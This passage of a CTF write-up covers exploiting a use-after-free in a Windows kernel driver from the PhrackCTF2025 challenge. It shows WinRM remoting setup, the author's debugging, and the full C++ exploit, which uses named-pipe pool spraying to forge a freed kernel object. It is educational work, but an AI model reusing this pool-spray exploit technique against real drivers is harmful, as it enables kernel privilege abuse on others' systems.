to user space\n"); // Now print the flag out ! hexdump(flag_buffer, 0x60); // print the flag buffer in hex format ``` If all things go well, we should see our fake flag being spat out in the output! ![[localwin.png]] ## Submitting Remotely To submit the flag, we have to connect to the remote server via the Windows Remote Management tool (WinRM). I had to setup some commands (blINdlY coPy anD paSTIng CoMmaNDs fROm thE InteRNet) before creating new Powershell session, transferring the exploit, entering that session and running our exploit. ### Configuration of WinRM to connect to IP Address The following showed the steps taken to configure winrm before invoking powershell sessions to connect to the remote server. ``` PS C:\WINDOWS\system32> winrm set winrm/config/service/auth '@{Basic="true"}' Auth Basic = true Kerberos = true Negotiate = true Certificate = false CredSSP = false CbtHardeningLevel = Relaxed PS C:\WINDOWS\system32> winrm s winrm/config/client '@{TrustedHosts="51.57.75.4"}' Client NetworkDelayms = 5000 URLPrefix = wsman AllowUnencrypted = false Auth Basic = true Digest = true Kerberos = true Negotiate = true Certificate = true CredSSP = false DefaultPorts HTTP = 5985 HTTPS = 5986 TrustedHosts = 51.57.75.4 spn_prefix = HOST ``` ### Creating PSSession The following shows the creation of a new PowerShell session ``` PS C:\WINDOWS\system32> New-PSSession -ComputerName 51.57.75.4 -Credential (Get-Credential) cmdlet Get-Credential at command pipeline position 1 Supply values for the following parameters: Credential Id Name ComputerName ComputerType State ConfigurationName Availability -- ---- ------------ ------------ ----- ----------------- ------------ 4 WinRM4 51.57.75.4 RemoteMachine Opened Microsoft.PowerShell Available ``` ### Copying The Exploit Over Here is the example of copying the exploit over to the Documents folder: ``` Copy-Item "C:\Users\Owl4444\source\repos\phrackctf2025\x64\Release\phrackctf2025.exe" -Destination "c:\users\greynoise\documents\phrackctf2025.exe" -ToSession (New-PSSession -ComputerName 51.57.75.4 -Credential (Get-Credential)) ``` ### Entering into the Session And this is how you can enter into that session to run the exploit: ``` PS C:\WINDOWS\system32> Enter-PSSession -Id 4 ``` ### Running the Exploit Now this is where I spent two days trying to figure out what is wrong with my exploit when nothing was wrong. I started to doubt myself but still find it strange. Why does it work so well on my local instance and just "fails" so miserably in the remote server? To make things worse, when it fails, it is the only time when I MAY be able to see some output like the following: ![[falsealarm.png]] To get straight to the point, after spending over a day tinkering with memory size and other irrelevant settings, I discovered that there was nothing wrong with my exploit (at least not like I thought). Instead, I realized that in order for the output to be returned to me, the process needed to be completed. This also meant that the process had to terminate. When it terminates, the handle to the driver gets closed, which triggers a memory free operation. However, when traversing the driver's internal linked list, there is a crash due to the corrupted `LIST_ENTRY` of the faked `_PROCESS_ENTRY`. The crash prevents the output from being sent back to me and therefore, I was not able to receive the flag. To mitigate that, I have to prevent the handle to the driver from being closed. To do so, I do flag format checking using the already known flag format. If the flag format matches, then I can continue on to an infinite loop of doing nothing. This prevents the handle to the driver from closing. If the exploit failed, I would allow the system to crash and restart. This is because, putting the exploit in an infinite loop while not writing the right flag into a file would make it impossible for me to get the handle to the driver even after reconnecting. Once the exploit goes into an infinite loop after writing the flag, I then simply connect back to the server to read the flag. ![[remote_solution.png]] For me, I have written the flag to `dummy.exe` XD. From there, I am able to read the flag and submit to the platform. By the time I figured what is wrong, I was the second person to submit to the platform T.T ![[flagging.png]] `Flag : flag{n0t_s0_n0rm4l_dr1v3r_uR_2_1337}` ### Exploit Script #### Exploit.cpp ```c #include <stdio.h> #include <Windows.h> #include <winternl.h> #include <stdint.h> #include <stdlib.h> #include <iostream> #include <conio.h> typedef void (IO_APC_ROUTINE)( void* ApcContext, IO_STATUS_BLOCK* IoStatusBlock, unsigned long reserved ); typedef int(__stdcall* NTFSCONTROLFILE)( HANDLE fileHandle, HANDLE event, IO_APC_ROUTINE* apcRoutine, void* ApcContext, IO_STATUS_BLOCK* ioStatusBlock, unsigned long FsControlCode, void* InputBuffer, unsigned long InputBufferLength, void* OutputBuffer, unsigned long OutputBufferLength ); void hexdump(const void* data, size_t size); HANDLE hCTF = NULL; #define SYMBOLIC_TARGET L"\\\\.\\VeryNormalDriver" #define PIPES_COUNT_LARGE 0x20000 #define PIPES_COUNT_SMALL (0x80*10) #define PROC_ENTRY_HDR 0x38 #define VULN_CHUNK_SIZE 0x210 #define VULN_DATA_SIZE (VULN_CHUNK_SIZE - PROC_ENTRY_HDR) // IOCTL Control Codes #define IOCTL_READ_FLAG 0x80002014 #define IOCTL_REGISTER_NEW 0x80002000 #define IOCTL_COPY_GLOBA_TO_USER 0x80002010 typedef LONG NTSTATUS; NTFSCONTROLFILE NtFsControlFile = NULL; #define FSCTL_PIPE_INTERNAL_WRITE 0x00119FF8u // unbuffered pipe write BOOL ReadFlagToGlobalStagingBuffer() { DWORD bytesReturned = 0; BOOL result = DeviceIoControl(hCTF, IOCTL_READ_FLAG, NULL, 0, 0, 0, &bytesReturned, NULL); if (!result) { printf("[-] Failed to send IOCTL_READ_FLAG (%lu)\n", GetLastError()); return FALSE; } printf("[+] IOCTL_READ_FLAG sent successfully\n"); return TRUE; } VOID CopyGlobalToUser() { DWORD bytesReturned = 0; if (!DeviceIoControl(hCTF, IOCTL_COPY_GLOBA_TO_USER, NULL, 0, 0, 0, &bytesReturned, NULL)) { printf("[-] Failed to send IOCTL_COPY_GLOBA_TO_USER (%lu)\n", GetLastError()); return; } printf("[+] IOCTL_COPY_GLOBA_TO_USER sent successfully\n"); } VOID RegisterNew() { ULONG PID = GetCurrentProcessId(); printf("[+] Current Process ID: %lu\n", PID); struct { uint64_t unknown1; uint32_t size_to_copy; // N: bytes copied into node->data char inputDataForCopy[VULN_DATA_SIZE]; } inputBuffer; memset(&inputBuffer, 0, sizeof(inputBuffer)); inputBuffer.unknown1 = 0x4141414141414141ULL; inputBuffer.size_to_copy = VULN_DATA_SIZE; memset(inputBuffer.inputDataForCopy, 'A', sizeof(inputBuffer.inputDataForCopy)); inputBuffer.inputDataForCopy[0] = 'p'; // 'p' == 0x70 (triggers free-without-unlink on cleanup) DWORD bytesReturned = 0; if (!DeviceIoControl(hCTF, IOCTL_REGISTER_NEW, &inputBuffer, sizeof(inputBuffer), NULL, 0, &bytesReturned, NULL)) { printf("[-] Failed to send IOCTL_REGISTER_NEW (%lu)\n", GetLastError()); return; } printf("[+] IOCTL_REGISTER_NEW sent successfully (N=0x%x)\n", VULN_DATA_SIZE); } typedef struct { HANDLE r; HANDLE w; } PIPE_HANDLES; char* g_cover_pipe_data; char* g_buf; void WriteDataEntry(PIPE_HANDLES ph, uint32_t len) { IO_STATUS_BLOCK ios = {}; NTSTATUS st = NtFsControlFile( ph.w, // server end (opened OVERLAPPED) NULL, NULL, NULL, &ios, FSCTL_PIPE_INTERNAL_WRITE, g_cover_pipe_data, len, NULL, 0); if (st != 0 && st != 0x00000103) { // STATUS_SUCCESS or STATUS_PENDING printf("[-] NtFsControlFile failed (nt=%08X) len=0x%x\n", (unsigned)st, len); } } void CreatePipe(PIPE_HANDLES* ph, uint32_t quota = (uint32_t)-1) { ph->w = CreateNamedPipeW( L"\\\\.\\pipe\\exploit_cng", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, // duplex + overlapped (important) PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0, 0, 0, NULL); if (ph->w == INVALID_HANDLE_VALUE) { printf("[-] CreateNamedPipe failed (%lu)\n", GetLastError()); exit(1); } ph->r = CreateFileW( L"\\\\.\\pipe\\exploit_cng", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); if (ph->r == INVALID_HANDLE_VALUE) { printf("[-] CreateFile(pipe client) failed (%lu)\n", GetLastError()); exit(1); } } PIPE_HANDLES spare_pipe; struct _PROCESS_ENTRY { LIST_ENTRY Next; // 0x00 uint64_t PID; // 0x10 uint8_t EnableFlag; // 0x18 uint8_t SET_TO_READ_FLAG; // 0x19 uint8_t Padding1[6]; // 0x1A uint64_t pMDL; // 0x20 uint64_t MappedSystemVa; // 0x28 uint32_t DataLength; // 0x30 char data[VULN_DATA_SIZE]; // 0x34 (size = VULN_DATA_SIZE) }; PVOID flag_buffer = NULL; // buffer to store the flag after reading int SpamDQE() { CreatePipe(&spare_pipe); // prepare data once memset(g_cover_pipe_data, 0x1, VULN_CHUNK_SIZE); // 'B'... (adjust later to forge fields) /* 00000000 00000000 _PROCESS_ENTRY struc ; (sizeof=0x100, mappedto_384) 00000000 Next LIST_ENTRY ? 00000010 PID dq ? ; offset 00000018 EnableFlag db ? 00000019 SET_TO_READ_FLAG db ? 0000001A Padding1 db 6 dup(?) 00000020 pMDL dq ? ; offset 00000028 MappedSystemVa dq ? ; offset 00000030 DataLength dd ? 00000034 data db ? 00000035 */ struct _PROCESS_ENTRY* entry = (struct _PROCESS_ENTRY*)g_cover_pipe_data; entry->PID = GetCurrentProcessId(); // set PID to current process ID entry->EnableFlag = 1; // set EnableFlag to 1 entry->SET_TO_READ_FLAG = 1; // set SET_TO_READ_FLAG to 1 //flag_buffer = VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); flag_buffer = malloc(4096); if (!flag_buffer) { printf("[-] Failed to allocate memory for flag buffer\n"); CloseHandle(hCTF);// crash the system XD return -1; } entry->MappedSystemVa = (uint64_t)flag_buffer; // set MappedSystemVa to the allocated buffer address for (int i = 0; i < 200000; i++) { WriteDataEntry(spare_pipe, VULN_CHUNK_SIZE); // unbuffered, no DQE header } return 0; } #define COVER_BUFFER_SIZE 0x10000 #define SCRATCH_BUFFER_SIZE 0x100000 int main(int argc, char** argv) { printf("Starting to exploit...\n"); // resolve NtFsControlFile HMODULE ntdll = GetModuleHandleW(L"ntdll.dll"); if (!ntdll) ntdll = LoadLibraryW(L"ntdll.dll"); NtFsControlFile = (NTFSCONTROLFILE)GetProcAddress(ntdll, "NtFsControlFile"); if (!NtFsControlFile) { printf("[-] Failed to get NtFsControlFile address\n"); return -1; } g_buf = (char*)malloc(SCRATCH_BUFFER_SIZE); g_cover_pipe_data = (char*)malloc(COVER_BUFFER_SIZE); if (!g_buf || !g_cover_pipe_data) { printf("[-] Failed to allocate memory for buffers\n"); return -1; } // 1) open device and register with first byte 'p' hCTF = CreateFileW(SYMBOLIC_TARGET, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hCTF == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device handle\n"); return -1; } printf("[+] Device handle opened successfully\n"); RegisterNew(); // first byte 'p' -> frees without unlink on cleanup CloseHandle(hCTF); // triggers IRP_MJ_CLEANUP printf("[+] Device handle closed (dangling entry should exist now)\n"); // 2) reclaim freed chunk with UNBUFFERED pipe writes (exact size match) printf("[*] Spamming DQE with unbuffered writes...\n"); SpamDQE(); // 3) reopen device and try the read path hCTF = CreateFileW(SYMBOLIC_TARGET, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hCTF == INVALID_HANDLE_VALUE) { printf("[-] Failed to reopen device handle\n"); return -1; } printf("[+] Device handle reopened\n"); if (!ReadFlagToGlobalStagingBuffer()) { // will succeed only after you forge valid fields in reclaimed bytes printf("[-] Failed to read flag to global staging buffer\n"); CloseHandle(hCTF); return -1; } CopyGlobalToUser(); printf("[+] Flag copied to user space\n"); //for (int i = 0; i < 0x60; i++) { // printf("%c", ((unsigned char*)flag_buffer)[i]); //} // Create file and overwriting new ones if exists HANDLE hFile = CreateFile( L"c:\\users\\greynoise\\documents\\dummy.exe", // file name GENERIC_WRITE, // open for writing 0, // do not share NULL, // default security CREATE_ALWAYS, // overwrite if exists FILE_ATTRIBUTE_NORMAL, // normal file NULL // no template ); if (hFile == INVALID_HANDLE_VALUE) { printf("[-] Failed to create output file\n"); return -1; } DWORD bytesWritten = 0; if (!WriteFile(hFile, flag_buffer, 0x64, &bytesWritten, NULL)) { printf("[-] Failed to write flag to file (%lu)\n", GetLastError()); CloseHandle(hFile); return -1; } CloseHandle(hFile); hexdump(flag_buffer, 0x60); // print the flag buffer in hex format // read flag into a file. chose .exe to lower chance of people trying to read the flag on the shared remote resource printf("[+] Flag written to file successfully\n"); if(memcmp(flag_buffer, "flag{", 5) == 0 ){ printf("[+] Flag found: %s\n", (char*)flag_buffer); for (;;) { if (_kbhit()) { int ch = _getch(); if (ch == 'q' || ch == 'Q') break; // press q to quit } Sleep(1); } } else { printf("[-] Flag not found in buffer\n"); } return 0; } void hexdump(const void* data, size_t size) { char ascii[17]; size_t i, j; ascii[16] = '\0'; for (i = 0; i < size; ++i) { printf("%02X ", ((unsigned char*)data)[i]); if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { ascii[i % 16] = ((unsigned char*)data)[i]; } else { ascii[i % 16] = '.'; } if ((i + 1) % 8 == 0 || i + 1 == size) { printf(" "); if ((i + 1) % 16 == 0) { printf("| %s \n", ascii); } else if (i + 1 == size) { ascii[(i + 1) % 16] = '\0'; if ((i + 1) % 16 <= 8) { printf(" "); } for (j = (i + 1) % 16; j < 16; ++j) { printf(" "); } printf("| %s \n", ascii); } } } } ``` ## Intended Solution (Recovery) During writing, @chompie1337 released the solution on [Github](https://github.com/chompie1337/PhrackCTF/blob/master/windows_kernel/solution/windows_phrack_ctf_solution/exploit.c). It turns out, that instead of writing to a separate file and letting it crash, she did recovery, and was therefore able to get back the flag properly, which is really cool. The recovery frees all the DQE data, spraying the heap again but setting a PID that is not the calling process' PID. This makes it so the pointer to the `_PROCESS_ENTRY` is not returned and therefore no crash occurs. With that, it is possible to close the handle to the driver, terminate the process, and return the flag as is!! ## Conclusion In conclusion, a Use-After-Free (UAF) vulnerability occurs when a program is manipulated into accessing fields from memory that has already been freed. If we can obtain and modify that freed memory chunk, we can control and overwrite certain fields, potentially faking objects, for example. Additionally, I learned about the differences between Buffered and Unbuffered Data Queue Entries while spraying Non-Paged Pool memory in the heap. ![[scoreboard.png]] Overall, I've gained new knowledge. This challenge was exciting, and I appreciate the challenge creator for taking the time to create these challenges. I also unlocked an achievement by attempting my first Use-After-Free exploit on Windows. Congratulations to `@weaponized_autism` for winning PhrackCTF2025, and a shoutout to my teammate Elijah for quickly solving the Linux Exploitation Challenge! :D ---